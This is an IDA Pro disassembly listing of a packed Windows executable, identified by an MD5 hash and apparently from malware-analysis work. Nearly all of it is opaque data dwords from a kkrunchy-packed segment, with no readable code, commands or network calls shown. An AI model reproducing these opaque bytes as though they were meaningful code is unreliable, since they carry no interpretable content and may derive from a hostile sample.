;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	423020578A524F32F842FDD1B9C682D0

; File Name   :	u:\work\423020578a524f32f842fdd1b9c682d0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	3E0000
; Section 1. (virtual address 00001000)
; Virtual size			: 00047DEA ( 294378.)
; Section size in file		: 00047DEA ( 294378.)
; Offset to raw	data for section: 00001000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
kkrunchy	segment	para public 'CODE' use32
		assume cs:kkrunchy
		;org 3E1000h
		assume es:nothing, ss:nothing, ds:kkrunchy, fs:nothing,	gs:nothing
		dd 0CAF39DE6h, 0EF56D210h, 3C380941h, 860B4A4Ah, 0A9DB8ED2h
		dd 38FA638Dh, 314E3287h, 9897FE69h, 94C908BFh, 5B68DCE4h
		dd 0D5144794h, 9D8BD788h, 0DB1DA977h, 0AC2CB8C4h, 3F761C6Eh
		dd 6E758683h, 6782D3A1h, 83E10ED6h, 0DA662271h,	5866C14Bh
		dd 0D245D568h, 29195CBBh, 339DA4B9h, 94F914E3h,	87763F64h
		dd 567B263Bh, 0BD3BA9B7h, 0AA1D5847h, 357F0E59h, 0D4A22EABh
		dd 0ADEDC721h, 0C63B17B4h, 87377C17h, 0E99E9FA4h, 4BC70F87h
		dd 1D7538E9h, 9E698A4h,	61D92CAFh, 0EDBC38Fh, 707025BFh
		dd 0B40D7D5Dh, 0D9C57AD3h, 0F51347FAh, 8CC1248Fh, 260C862Ch
		dd 0AFD7C680h, 38433934h, 77687BD7h, 0A88126DDh, 0A773CEB6h
		dd 951D00EEh, 0F8FCD62Bh, 63708BA3h, 11DAA8C2h,	6688A1BBh
		dd 1D585053h, 2DB77C7Ah, 4D50674Eh, 0EF208F2Ah,	0E6E68F32h
		dd 7728DC4Eh, 0E4B81CBFh, 0AE86D8C2h, 2E8901DCh, 0BC121D79h
		dd 61141F93h, 0EB359166h, 0D5294433h, 180ECD98h, 0D72C1A81h
		dd 284EFA2h, 5BCF011Eh,	0EBFEACD7h, 45FDC5B8h, 0F39D9F91h
		dd 6A5B2974h, 6EE55EFAh, 0D511CA15h, 0BB7BBD54h, 89CF3425h
		dd 6D682B86h, 984A14D9h, 80D0BA63h, 0BAB309BAh,	1417D0F0h
		dd 27D4B79Ah, 8FAC935Ah, 181D35C6h, 70DF83C7h, 0A57FE0D9h
		dd 8FA352D4h, 28C37697h, 0DE837D39h, 649804A7h,	0F4AD4CEDh
		dd 4CCC4B42h, 0A4DEE20Dh, 9B6C445Bh, 7A6056ECh,	6A5799FDh
		dd 210DA1AEh, 0C60EE177h, 198633AEh, 0E12EDF47h, 9009E765h
		dd 347114ACh, 0C60F61C0h, 0F3A03D10h, 469E5D11h, 492B6601h
		dd 1E7D8E3Dh, 0CE90202Dh, 0E34E0484h, 89177334h, 0E1642202h
		dd 97DFF2FCh, 1D8D1F1h,	9293FF4Bh, 392C7A2Ch, 1CAAC7B7h
		dd 25930A6Ch, 199441EAh, 157F3FC6h, 11630BC3h, 70F1B3Ah
		dd 5E647687h, 0E3E23932h, 76C495h, 0D8E89D14h, 0A102452Ch
		dd 774AE0CAh, 47FCB391h, 7CDCCB41h, 4350821Ah, 4616DAAh
		dd 400EAFFDh, 4881F38Ch, 2ADE08A0h, 129503FFh, 0F1538CC5h
		dd 78AB9858h, 1ABE3735h, 0F0E0257Dh, 0FC79DE95h, 7F4D2ADBh
		dd 0BCF1F0DBh, 85D017DBh, 79A6B3D9h, 5CB56656h,	0CAB7FAACh
		dd 6EA950DBh, 4367C019h, 0DCEC8CC8h, 0FF11C5FFh, 6508CA28h
		dd 0AF2AD4A7h, 56FF8E41h, 0F56BAEE7h, 0F3E08C6Eh, 37C329B6h
		dd 0CEFF44DFh, 9A67477Bh, 35CB84DDh, 23365E88h,	0E12CDED6h
		dd 80FD7925h, 542DF267h, 0FF9693D3h, 0B75583Bh,	0CC5F8D39h
		dd 5786BA89h, 6078514Ch, 0C1E03FA1h, 71DB063Ah,	6A45A4B2h
		dd 4394B94Eh, 0CA0A24FEh, 0C8E1DC8Bh, 0CA8A03C3h, 0A09C3694h
		dd 198E9567h, 900F4ECEh, 0EEE91453h, 78811A7Fh,	0E4F4F1ADh
		dd 50B4FC68h, 204B8F0Ch, 0B2B6D87Ch, 0C118B166h, 640BA843h
		dd 0BE4E8B01h, 0F7B490BCh, 0B6AD78FCh, 0EAB70B62h, 8368CDEFh
		dd 0C0C4016h, 180A6E6Dh, 1D22E692h, 0F8E8A1F7h,	1F4663CAh
		dd 0C340FEB9h, 0A3EE6354h, 60B1D228h, 25E01115h, 7E36D5FDh
		dd 1B4AFCE9h, 0EC24828Ah, 0C195CFFDh, 5D13159Dh, 92B2F71Dh
		dd 0E72E6FF9h, 0BF9661DCh, 0BC3ED2E9h, 1759E0B9h, 6C0CCE61h
		dd 53EBB574h, 0CBFC2865h, 0EC2890ADh, 0EAB2E6F1h, 7DBDE80Dh
		dd 335A7A0Eh, 59FDDB80h, 0A7BCB955h, 0BCE50D06h, 0FE70D298h
		dd 2EC96830h, 0B64F4ED1h, 0D30B0B94h, 78B6CADh,	28EF1C3Dh
		dd 0B878AD5Dh, 816F514Ah, 264CD19h, 0E256BA71h,	4052AE1Ch
		dd 0F5078A56h, 0EE48520Dh, 748B9B30h, 4AC8ED83h, 0B5F62EB3h
		dd 0E779D9CEh, 9A4EE50Ch, 35793BEEh, 45C420A1h,	590742FBh
		dd 4F5E3929h, 53E15EAFh, 25E03939h, 69DDD70h, 69446A58h
		dd 0E8B7134Eh, 11DE9889h, 0FFB5BFB3h, 0F61728A5h, 24E57D36h
		dd 594C0ADh, 511A1D1h, 9892DD6h, 75408C45h, 553669A1h
		dd 3E7BF0CAh, 51C9046Ch, 0FDC6B706h, 4374E185h,	5E9E614Eh
		dd 3BE68E4Ch, 0A48FABF9h, 371656B2h, 37D97B9h, 29AB0FBDh
		dd 0AEB859EBh, 0E691450Bh, 8C399797h, 0B0502941h, 9F5C0B87h
		dd 0BAC4D02h, 858164D8h, 951CD550h, 51AD0045h, 9ED22BACh
		dd 0AB653D04h, 0E30EE6B9h, 58281715h, 972914D6h, 0A7F51F2Dh
		dd 236AD34Dh, 2AF476Bh,	0BD0B2D31h, 0C3F5B913h,	33CABCB6h
		dd 5CAC673Dh, 0B6556D11h, 0F8D4846h, 252B72EBh,	0C88504ABh
		dd 4AD43006h, 871CC0E2h, 27E0A6A5h, 0AA5AA336h,	0D0C11B4h
		dd 0DC70710Ch, 2666D646h, 0A6A9B5C6h, 39B10B4Fh, 3F721419h
		dd 6D9E2B82h, 6A30AA31h, 419BD489h, 0A851E3D0h,	28493A8Dh
		dd 8C064215h, 0ED115271h, 72690D5Eh, 1268669Bh,	21C10781h
		dd 5353C0A1h, 4B14EF26h, 331D4B2Eh, 2B708357h, 0C62498A0h
		dd 0B77B9192h, 0A8726656h, 5E5EE968h, 0F4AABECAh, 87D3918h
		dd 59B7492h, 52CE0B58h,	83E3CE68h, 0DD62B3C0h, 0E0324162h
		dd 63778D62h, 47D0A06Dh, 0AF650CF5h, 9A4B1D4Eh,	85FAF8A2h
		dd 6F531074h, 0D75E62D1h, 0E299F79Dh, 0A2F921E6h, 5EB9ACE6h
		dd 627FCFD3h, 0E1982763h, 0CE13C3E8h, 0E625B7A3h, 200724B0h
		dd 52E8F54Bh, 1558B19Eh, 468A61h, 0FAEB756Dh, 9089DFF6h
		dd 9F39D83Fh, 9DDF5E5Dh, 72184C7Bh, 0EBFDE89Bh,	0E468CD43h
		dd 15567667h, 382CC1CCh, 8AABE696h, 0C1C1CABDh,	16CF9F5Ch
		dd 0FBD27783h, 6F8F2BFDh, 5FB2EACAh, 0E1A9E789h, 9CAE8A4Ah
		dd 7CF0056Ah, 0D47A57C1h, 0A304D30Dh, 0D7B936E6h, 0CB36940Fh
		dd 1EC9C627h, 1D32E8F8h, 0E25E0E63h, 979A8EA7h,	0FBFBF881h
		dd 3F2A7444h, 1CCBAE68h, 0D8537E1Bh, 0A95BC537h, 268F87Dh
		dd 0B435137h, 0D3A5D66Ah, 8A070C73h, 0FB9A640Dh, 0CC5C0A79h
		dd 329F6F4Dh, 0E3A6A929h, 5F6B250Ch, 3CAA0F7Bh,	7D53ADECh
		dd 4785001Bh, 0A6AE64F4h, 0A5D13C74h, 0F326A2FAh, 3C99CEF3h
		dd 9AC73505h, 88042A7Fh, 0B20B5131h, 6636370Eh,	19A42EEh
		dd 63244906h, 8F243DD6h, 641F2491h, 4A9EDB40h, 4434F130h
		dd 0D6073755h, 89804690h, 7FAC83FEh, 94A55D7h, 31D4FE13h
		dd 0D6883090h, 0BA4A9A61h, 94B7F6F5h, 3A6C11B3h, 6A4E58E9h
		dd 0B74959D7h, 0CC30E46Dh, 0AA31EB7Dh, 0EF00AC91h, 0ECB61E48h
		dd 0C8A1BFF7h, 0E5E33917h, 807D632Ah, 0FDF29AC7h, 1BD59B22h
		dd 57B948F4h, 0A2499B72h, 1158836Ah, 7F5E7EDFh,	0F8DC181Ah
		dd 0AC40AB79h, 0A33D71EFh, 9CFF254Ah, 0B54FAECEh, 0FFB0BE68h
		dd 1235D242h, 0C3D25350h, 37C6F555h, 1EBD7422h,	215A36CDh
		dd 67BE3609h, 0A5CBC598h, 0ED572B2Eh, 0ED806A8Dh, 53C4405Ah
		dd 76FE0290h, 0FD2CBD7Bh, 0BBDAB43Bh, 0FA308C0Bh, 5479AFAFh
		dd 0CFFE0EB8h, 38D954E1h, 0A2668525h, 0E3510A9Fh, 8267CB6Fh
		dd 0CE4AE621h, 0BCECB03Dh, 18A17FE6h, 0B86E74EFh, 0F5E80343h
		dd 6D679834h, 0A1C55EC9h, 0C7FC55BBh, 0AF66A2E9h, 6487D47Eh
		dd 0A4296905h, 0F27F7146h, 10E10C49h, 0C77A405h, 58D714C8h
		dd 85094B25h, 0FA9E5170h, 46EBE6E7h, 0B4406A1h,	7EE6D84Ch
		dd 0CED2ED7h, 5E9C0C11h, 0EF485CC4h, 0B05E37F6h, 0EBE5C2BAh
		dd 0A42D61B2h, 1F122F7Dh, 8DA6997Fh, 0E11CE145h, 6D66A2ECh
		dd 0C456E1D9h, 12AF3263h, 105C42ABh, 99A1353Bh,	992271B4h
		dd 6484ED1h, 0BBA3B03Fh, 86A77C98h, 2FC771E2h, 49392DDAh
		dd 5B59318h, 8A859271h,	97DD9937h, 0EE71BB78h, 4F1E231Ah
		dd 9377EC74h, 1D13855h,	0FCDB6BA2h, 90C8D0B9h, 95797EBEh
		dd 2C83967Fh, 0CE6C05B5h, 410DACD4h, 0D114E8E6h, 4577BE22h
		dd 17C55AB7h, 570A05B5h
		dd 6F47AF00h, 11D5BC64h, 6B5991A5h, 82B7854Ah, 57F0C786h
		dd 0F5F13883h, 834A3095h, 0A21AC3ECh, 8D4B52C1h, 3A3ACC9Dh
		dd 0A55D4E7Eh, 75304ABDh, 0F1E6D363h, 5A5E0A30h, 4068B4A9h
		dd 1EAA5D00h, 1CEEF892h, 0A5006AEh, 0E6002BB7h,	0EF451290h
		dd 6B7B1FF1h, 0DE67F74Ah, 8EB55EDDh, 7F532830h,	0F5C8CB96h
		dd 7FD38860h, 0DBA4F4E4h, 5FB296E9h, 2FAF47C4h,	176CDA1h
		dd 7BA5D0D4h, 0DC23F24Ah, 0D8E1BCFAh, 46621D57h, 0CEF31D6Eh
		dd 0C72019C1h, 1142E849h, 6E8302CDh, 0EB494CBBh, 0B3AFF1D2h
		dd 71A49B8Dh, 0FFF83058h, 183EBFDCh, 0D2B88C71h, 9DCFB2E7h
		dd 0F8EBAAF0h, 0EE446EB7h, 0D155E789h, 0E993CFE7h, 98FEE40Ah
		dd 0AFE31C41h, 8D98F06Fh, 4A516DA0h, 44506F2Ah,	0C16181E8h
		dd 0FEE36CA5h, 0C62CFB9Ch, 0D5441A8Eh, 4DFFCCF2h, 3FE85925h
		dd 58655BA2h, 2CB9FD02h, 7CE6DAD0h, 0A5A91B72h,	8413E819h
		dd 0C24A094Fh, 8CF55280h, 2CDA7CD1h, 42C2C58Ch,	365F0487h
		dd 231D072Ah, 7E79C35h,	81821339h, 8CBFEABFh, 0FDF59D17h
		dd 8C30E469h, 95DF7EACh, 889A04Eh, 6616B7ADh, 0BB27CAF9h
		dd 11C7BAEFh, 764803AFh, 487067F1h, 0CCB90D35h,	9F020414h
		dd 0B26A1F89h, 0F7F4896Dh, 0A151859Ah, 70D13E90h, 90819320h
		dd 3D2CB74Fh, 19982794h, 0BB212FCh, 59D68ED9h, 8617E6A4h
		dd 0DDCF2724h, 0DB197E28h, 2070EF51h, 62B1B3EDh, 3429624Ah
		dd 7958AB99h, 7D516042h, 77214EF9h, 9352CEF2h, 0C9DF1F80h
		dd 55CD7C17h, 8CE3CEB3h, 0EE22877Bh, 0A26725D4h, 67A6E4A9h
		dd 0D584FFC5h, 0BC3716D5h, 674AF9A8h, 1E867826h, 668E677Ch
		dd 9F757EF5h, 4AAE8A4Eh, 6D2541B5h, 9EF1B9D1h, 0F0D2163Eh
		dd 899AFCA9h, 2CC70D29h, 821C01CBh, 0D4BB217Dh,	9217DECEh
		dd 4EFE59B4h, 4A6483A7h, 8B2B1A03h, 4972DD89h, 30A8F07Eh
		dd 5B329E37h, 10A96F6Dh, 5EE6E2AFh, 7A9F3884h, 0EB3AA912h
		dd 33F62137h, 0D9C90EB1h, 20E7B8B7h, 0E03DB676h, 1C4FC3C7h
		dd 40E9424Dh, 551392E5h, 18E36398h, 9132C67Ah, 0AA1D34B5h
		dd 602BC436h, 361CD023h, 1FA4039h, 4BAA3134h, 0D36C2E37h
		dd 0FDF61BA2h, 0E61EA021h, 35932D15h, 0C213C20Fh, 8BFCB91Bh
		dd 9BD5B50Ch, 0D4335000h, 7B13CB01h, 6FFAB668h,	0E3B80023h
		dd 8DFD09D6h, 6E92B9ACh, 568DBDE2h, 9CEB9A11h, 268AE7C1h
		dd 5C81E1E2h, 0DA7FFE39h, 0C378C982h, 0F1F438DBh, 0F2CE6B7Ch
		dd 902ED8B9h, 0AE2A3A83h, 0ACFEB06Dh, 7D2B2D44h, 0C330C678h
		dd 0D4825B1Bh, 5AFD33C1h, 0A8EB117h, 1795E508h,	6D4B0C3Ch
		dd 0FE6A128Dh, 95D56200h, 1D3E4566h, 1A2220C2h,	40524D1Dh
		dd 0E5B73C54h, 0AF7267AFh, 4753025Dh, 3AAA37D9h, 1F84652Ah
		dd 0CA8B9DC7h, 9409BFC4h, 0BACF4DD6h, 3B98ACEBh, 5948F4B9h
		dd 689BE7EEh, 564E68FCh, 797A7D0Ah, 415162ECh, 0E6421B7Ch
		dd 0F6119600h, 0ED5B1B97h, 502AB1C9h, 11AA208Bh, 4F37F4A7h
		dd 3F0A4B26h, 118412A7h, 0A4156929h, 6B183E0Ch,	0C50F0833h
		dd 0D8B27DE6h, 45B3FB68h, 554E5E12h, 7F6EB6DCh,	5DF20FEAh
		dd 1DF7A037h, 3382A0F1h, 5D9096EAh, 71754421h, 1ABFF924h
		dd 9626E47Eh, 448D5118h, 95E5B924h, 6ECB49F1h, 96509CADh
		dd 0FDCBD696h, 4863B2B1h, 963A7D9h, 0DB31A1B6h,	4AEF73A3h
		dd 281A4CA1h, 8B99F7ABh, 0C38FCB91h, 6C30D1EEh,	3DC8CD51h
		dd 0E7B41A05h, 0DC4EF619h, 7FC309E6h, 802ADD12h, 0E679A0B3h
		dd 12F25314h, 19A4B8ACh, 91638616h, 0C491945Eh,	3AA4815Dh
		dd 640439BFh, 51952A15h, 0D3121727h, 22885C4Ch,	0A7AF354Ch
		dd 6D6BF689h, 9AD32265h, 0DA8A693Eh, 83FFC288h,	0FBE7F9F0h
		dd 0D1E1256Ah, 8602C9A4h, 0CE988FC1h, 0B68E5BE7h, 290333F3h
		dd 31A25908h, 0BB860341h, 817286BDh, 668480F7h,	110A84E5h
		dd 0D06876BFh, 631CF564h, 0A184FF6Bh, 7899FA3Dh, 0EF7E8C39h
		dd 635524D0h, 2C8A3171h, 0DCD56EEFh, 0BB45329Dh, 0FDBE97D1h
		dd 9F8174CBh, 1D15C4C2h, 7E76AB89h, 857DD600h, 0FE293559h
		dd 2E55B7BAh, 0AC2B93F8h, 0D0C148BAh, 1BC411DBh, 0EE0A02BFh
		dd 30C1F38Ah, 87C9662Ah, 0F9C34E34h, 4CAF5FBFh,	92D135Dh
		dd 0BC11BE3Fh, 8003131Ah, 5EB51246h, 85F6109Bh,	0BE92EA52h
		dd 0CF232E2Eh, 779271BDh, 33352734h, 943136CAh,	30A57D3Bh
		dd 5DBE0F87h, 85952328h, 8617D3F5h, 55C6AECFh, 0A7844575h
		dd 4EEF9316h, 30D69321h, 68C2D58Ch, 0F70320FEh,	0E81170DCh
		dd 0CA0E4DC6h, 65048AAAh, 0A85FDBF2h, 2210C74Eh, 0DB00B3D8h
		dd 48860B84h, 785355Dh,	0CA60F3FFh, 0A822DCCAh,	752082FCh
		dd 0F602CBAEh, 0F483B50Ch, 101AA57Dh, 43EDD945h, 497A48BCh
		dd 6DC718B9h, 0AF1C92Bh, 1FD2860Bh, 0B74F5049h,	1BC4F38Ah
		dd 4FB592DDh, 9E09AAB5h, 5BD6DB51h, 2BE16925h, 0F73B1BFCh
		dd 6DFE9DCEh, 8B398056h, 5FB2926h, 3F9B7CCEh, 9AB48B58h
		dd 0B1CBB42Eh, 0D44CA092h, 36C3A0BBh, 0D2C9742Fh, 0F7648AA8h
		dd 774FE14Eh, 0FFE6C34h, 0AA86EC69h, 0E4D1CC24h, 0EAE2BB49h
		dd 0F5EA734Ah, 4989FD50h, 0C92E537h, 0B3EE7174h, 9DCB02FFh
		dd 4698AC3Ah, 391A655Ah, 6DD2B7DCh, 486546E9h, 0DC79B09Ah
		dd 0AE0811Eh, 0BFCB21A4h, 433DAE3Eh, 176D4272h,	0B9AF2F76h
		dd 2F73D20Ch, 1C257037h, 5EB8D5CAh, 8721A5A8h, 32CD7DBDh
		dd 0DE1531F9h, 0DA6B5C33h, 0A5B412B7h, 0C34DCBB3h, 0CC72A90Dh
		dd 997F86F9h, 353B0FB7h, 35B2F5D3h, 926021DAh, 0B3E5F792h
		dd 0BA255AD1h, 8428C9CEh, 0F27CD654h, 77129724h, 51C0B739h
		dd 0A7F15C2Dh, 2880E985h, 0C0C68134h, 4E4DB472h, 0B6E03967h
		dd 0F4E3C466h, 0BFC970C2h, 0DF5DF88Dh, 0BCABD988h, 0BE44F52Dh
		dd 0FEC5D1D4h, 0A62EB7C0h, 52D68D5Dh, 69E5F0CAh, 0C699C658h
		dd 91545FE0h, 0C58EBB8Eh, 8D16C0B4h, 431A61E4h,	0AE589834h
		dd 0FD13D951h, 33A3E8h,	0C614389Eh, 9DCDB181h, 85DA024Dh
		dd 569A6158h, 0D7387949h, 7E26FF49h, 0EC3EDB72h, 4AD6CBA2h
		dd 0E81BE535h, 0D5E98D83h, 1AF43652h, 0BA467C71h, 0CAC7F6A7h
		dd 177E2B1Dh, 523E0B31h, 3EE99DCh, 0C9B3776Eh, 5420B3A3h
		dd 0F06DF619h, 6D9D7DEDh, 7668591Eh, 852D461Fh,	0AE44CB51h
		dd 4C284D79h, 0F0ACEA3Ch, 25910B7Ch, 0EA27C726h, 437DF78Eh
		dd 0F702EC5Ah, 278B247h, 0B7E55996h, 0C502EA7h,	39685374h
		dd 855F858Bh, 5565AA57h, 0E397526h, 0D02B1248h,	8DD47251h
		dd 955DF576h, 50AA4550h, 6CFD844Bh, 99E5534h, 0FDCB02BBh
		dd 0E60C48D3h, 88551CAFh, 0D264E485h, 0C3558E8Ah, 0AEFCB8F7h
		dd 74520DE9h, 0D3C5A9A6h, 0F3FE0CB7h, 3CE533AEh, 0EFAA41B0h
		dd 91A77FB2h, 0BE63D377h, 0ABF07648h, 2467493Ah, 35A621ADh
		dd 0E6A20497h, 529E1F2Fh, 7C69941Eh, 1B185240h,	953334F8h
		dd 0EEC34B9h, 0B09F3259h, 1508D3A6h, 0D9617ECFh, 3CF6CD69h
		dd 0DE6E1F3Ch, 56E627AFh, 0EDD56BBBh, 6CB36ED1h, 113ED15Ch
		dd 0C634D6CFh, 1F9E1A4Ah, 6CDA7815h, 937DB1CFh,	9615E767h
		dd 5EBA42E2h, 8A9D23FDh, 0FBCD2D10h, 0C816AE61h, 0D854EB7Ah
		dd 0D8273305h, 3EBD35CAh, 0E99C3BFEh, 508D0639h, 6691EDD6h
		dd 76438F05h, 0C57B8145h, 2F2F8C41h, 6FBF971h, 0F065A849h
		dd 41F99AD1h, 0BFD53C56h, 798831CCh, 3F37BB95h,	0B83E8D2Ah
		dd 0AC07364h, 0AA3A39F7h, 0D1ABD640h, 0ABDC00E8h, 2AF8D8CFh
		dd 274274C5h, 0A1FEF089h
		dd 0E4898422h, 0B0014783h, 5ED97B90h, 0DEC643A4h, 0FF38D3F0h
		dd 70C2702Eh, 0CA1B4DFFh, 3EA4C0A9h, 4557648h, 391C9EC0h
		dd 0D0E9C193h, 0F29677CDh, 0EA78B427h, 78CFCB64h, 374CA341h
		dd 0E94AF01Ah, 0E4B80BBAh, 4D7AB4F9h, 393B072Fh, 25A4A16Ch
		dd 2CB41F29h, 497C6EB8h, 0C1257C96h, 47E849A9h,	0CA57D073h
		dd 0FCA82239h, 8F97760Eh, 41587006h, 0B3FE4495h, 0ABCE17BBh
		dd 0BF7E30DCh, 2FE51039h, 0DF03570Fh, 818255ACh, 0C9998200h
		dd 0DAE58D13h, 0EC1CBB1Ah, 397566C8h, 0C41F76D3h, 4D06C32Dh
		dd 8E2EBFD8h, 0E43A328Eh, 619712BFh, 19A966Ah, 494CA24Fh
		dd 205039FEh, 0AD11624Bh, 3BB88712h, 3C81D456h,	25939463h
		dd 0CE2B4157h, 21AFA6D2h, 88F60AEEh, 9FBDF804h,	3D337260h
		dd 2289BB94h, 0AA9798A3h, 0D9D60189h, 7331E041h, 7B3FA8FEh
		dd 0F5CC3D27h, 64DC4D5Ch, 0DBB8DBFEh, 84108438h, 0B584765h
		dd 4E9683BDh, 9CA005Bh,	2014A8E8h, 1E464B3h, 1902837Eh
		dd 306B6D22h, 0D0DF8713h, 0C78B3642h, 63A93081h, 72B9E0D1h
		dd 3E939B80h, 9B170870h, 7D0A161Eh, 0D08A0DA0h,	62F1BA59h
		dd 6CCEA3A3h, 0E58F92Ah, 0FCE74E4Ch, 580D88FBh,	2166A6C3h
		dd 0FC55867Dh, 0F9928550h, 0D55E2FC2h, 0F2CF0D9Ch, 3022F54Bh
		dd 3430E7DCh, 146C4044h, 1EB2489h, 911EF4CAh, 6B7DE0C9h
		dd 0E8A18F94h, 111C3B1Bh, 0FB28261h, 237068AEh,	0B15239C3h
		dd 458AC267h, 0E714CFC4h, 31FDBDD7h, 94A9758Dh,	60B9F054h
		dd 0E1324063h, 7238D04Ah, 3E8B29BDh, 0F72E6345h, 570CAFA2h
		dd 0A7868D56h, 553B28CFh, 430D42AAh, 4E00259Eh,	88182E08h
		dd 0A0938686h, 7C2D9FA5h, 0B402C56Bh, 6999BBECh, 63AB86A2h
		dd 5A78EE22h, 422B30E1h, 581EF33Fh, 49712FFh, 18ABA93Ch
		dd 83991A16h, 202916A2h, 5FDCA0A2h, 42154B49h, 7DA52069h
		dd 0A0044862h, 17D74A31h, 6ED57897h, 0A21BFD2Ch, 51B102E3h
		dd 0A0F5AD04h, 0E029537h, 151FA1EBh, 7CAD55B4h,	2F5EE9C0h
		dd 0A4A04ED6h, 0DA09CF2Dh, 76BAC1A1h, 0B056D65Bh, 0E9D5754Bh
		dd 1D406EFDh, 689420CAh, 0AFF5305Dh, 0ABF50E1h,	0F47D4518h
		dd 33CA7FA5h, 48E58507h, 0CCB32D7Eh, 0AE2178C1h, 98D9188Fh
		dd 7328E032h, 8E32D8FEh, 5A3E0CD6h, 70C122A9h, 15E76D7h
		dd 0BA4C2CA4h, 8BD5D2B1h, 76CC1A47h, 9944481Dh,	382881CCh
		dd 48DAC584h, 8C487DC2h, 990104FAh, 0D7730BACh,	4A5797EEh
		dd 0F079DBCEh, 0F83C7Ch, 7C845DBBh, 1F4C1F5h, 57A25D05h
		dd 8E64C8C8h, 2DC3012Bh, 68D520C9h, 0D9B86083h,	777B6C9Bh
		dd 15C063D8h, 0A8C0FD52h, 0BC1F8609h, 5C2067F6h, 0E7CC004Fh
		dd 691851B6h, 5AE0F44h,	0E64EA235h, 1D266AA0h, 0FCFEEF36h
		dd 0EA90C0Dh, 966ADF5Ah, 0C3808905h, 2421585Bh,	4BE6A674h
		dd 35981D30h, 6C5F5070h, 0B93E55C9h, 0D6CBF72h,	8947B113h
		dd 0F20BB8E9h, 0A26D6CB7h, 64FC9DA1h, 0B58DDA63h, 6858FC77h
		dd 0EA818A3Bh, 7AFA0237h, 1A49E80h, 96E1730h, 0CDA30F88h
		dd 0B2243CD2h, 4393F548h, 4C406B8Fh, 11D3B4C9h,	47F59C86h
		dd 0DF4837FBh, 0B10E9040h, 93E21639h, 0D4A820F9h, 49C83D7Ah
		dd 0A966940Dh, 494B95B9h, 2D1C6B7Ah, 0DD74994Ah, 2C84FBC3h
		dd 12606336h, 0CB42E79Ah, 0D8A27DEFh, 29AAE5BCh, 0EABBD569h
		dd 0FC0056E2h, 0F3256E34h, 0B871669Bh, 0AB040183h, 2AEB9D0Ch
		dd 90844871h, 24C6DAEh,	60AD4BD3h, 0A9E7CE23h, 0FC2BDAB4h
		dd 465E3503h, 78FF824Fh, 0E0F135CEh, 85745772h,	0EEEA662Bh
		dd 1BAB5988h, 11D3BC1h,	6232698Bh, 0A5AA69FCh, 913CB167h
		dd 0F26E6C50h, 30E8F3C6h, 0D68C352h, 2DE6D7D8h,	0BEB5FD49h
		dd 45583B47h, 35702381h, 203DEDF8h, 4118B892h, 0AFDCFC03h
		dd 0AEA0D709h, 54682291h, 675D908Ch, 0F109F8B8h, 7D20A9A9h
		dd 5F3BE8FAh, 96806423h, 0AA1EF115h, 8D09B070h,	5B8B310Ch
		dd 0C8FF0230h, 0B0631FF7h, 6AACB9FFh, 288F7F7Dh, 0D9401BEDh
		dd 1F1F2EBDh, 0A246B10Ah, 9D6405F6h, 78761EDh, 0F422AEE5h
		dd 86BD9FC0h, 7C926A83h, 0BF57979Dh, 6FF6C20Eh,	0B1AF23BCh
		dd 66521881h, 56C2E132h, 7E1D5464h, 2BA5FF4Bh, 11B1AA72h
		dd 3A92E82Ah, 0E3CBED5Ch, 0C5B7229Dh, 1AB40ADEh, 1A7C17B8h
		dd 5103E2BBh, 5E7BE90Fh, 8A37566Eh, 0CA1C620Ah,	7EE7ACFCh
		dd 0FC1FFC8Fh, 4F65500Dh, 9F4F7A78h, 31FBCD1Dh,	0D8F9ABFCh
		dd 0A08D7C3Fh, 10B1A945h, 5293D237h, 69FEFD60h,	0FD6FE1E0h
		dd 797283A5h, 0EA31BACDh, 5A676148h, 0AC19266Fh, 0B2E05CDDh
		dd 0F0418684h, 403D374Fh, 0FD52F5F3h, 0BA364309h, 0E91F50CCh
		dd 7F46556Ah, 0C5AE2D5Ch, 81F71379h, 8050CA2h, 8D397507h
		dd 0D494803h, 0DC5E489Dh, 0F87F6D63h, 6B119D3Ah, 0E6CAD340h
		dd 0FCA0E39Bh, 6561E815h, 0B9DB55E0h, 0B938C6AAh, 36970AE0h
		dd 6EDE57FBh, 9AA89292h, 2FC82C9Ch, 9C4BDA96h, 0E44CC98Eh
		dd 2E61C68Eh, 745702D9h, 0F8D94B23h, 1067725Ah,	60724BDh
		dd 0FCE1CDD6h, 52AC4CDFh, 0E90DD5A3h, 2B2BEC64h, 0E2E50173h
		dd 1B32E081h, 9AC27915h, 0CF05D5BCh, 8E6D2AF7h,	0BF5A6749h
		dd 97DF50EAh, 5FA08C8Ch, 6282E1E4h, 0D8EC120h, 6AA8F0BBh
		dd 8B226251h, 2228FA33h, 6648A3A8h, 0E2595E3Eh,	0E8DFEBC9h
		dd 4A66C3A1h, 8547C8A0h, 9132A02Eh, 252C85C8h, 0DABE22F9h
		dd 0E66380ADh, 99A89DCAh, 0C6F35148h, 6EA7907Bh, 28B032F4h
		dd 5B250A15h, 269A9159h, 73621F8Ch, 0F364651h, 16B97746h
		dd 0A7C22261h, 0FC454AE4h, 65A7A6ACh, 4A2C8291h, 73ADD289h
		dd 0D39A2AEAh, 0DC7D328Dh, 3003D2AAh, 0E8623EC3h, 5888BABAh
		dd 2077066Dh, 442ACB86h, 0D771AFA9h, 222F21FAh,	58F3DD39h
		dd 0F3F6E854h, 0C31031B0h, 0C1FD3330h, 4B0259CFh, 98535495h
		dd 572E06Bh, 7DEA6C9Eh,	33F9CCBDh, 531CD101h, 2E83B447h
		dd 95B4EF6h, 37B798FDh,	85D8515Bh, 2553EAF5h, 88934DCEh
		dd 6EB143C3h, 0B56D5C73h, 68F7C98Ah, 0FE6A2651h, 926A3EB6h
		dd 4A2D95CAh, 6254DDD2h, 0C1E5EC2Ah, 0BC14D530h, 0EEB0B5A9h
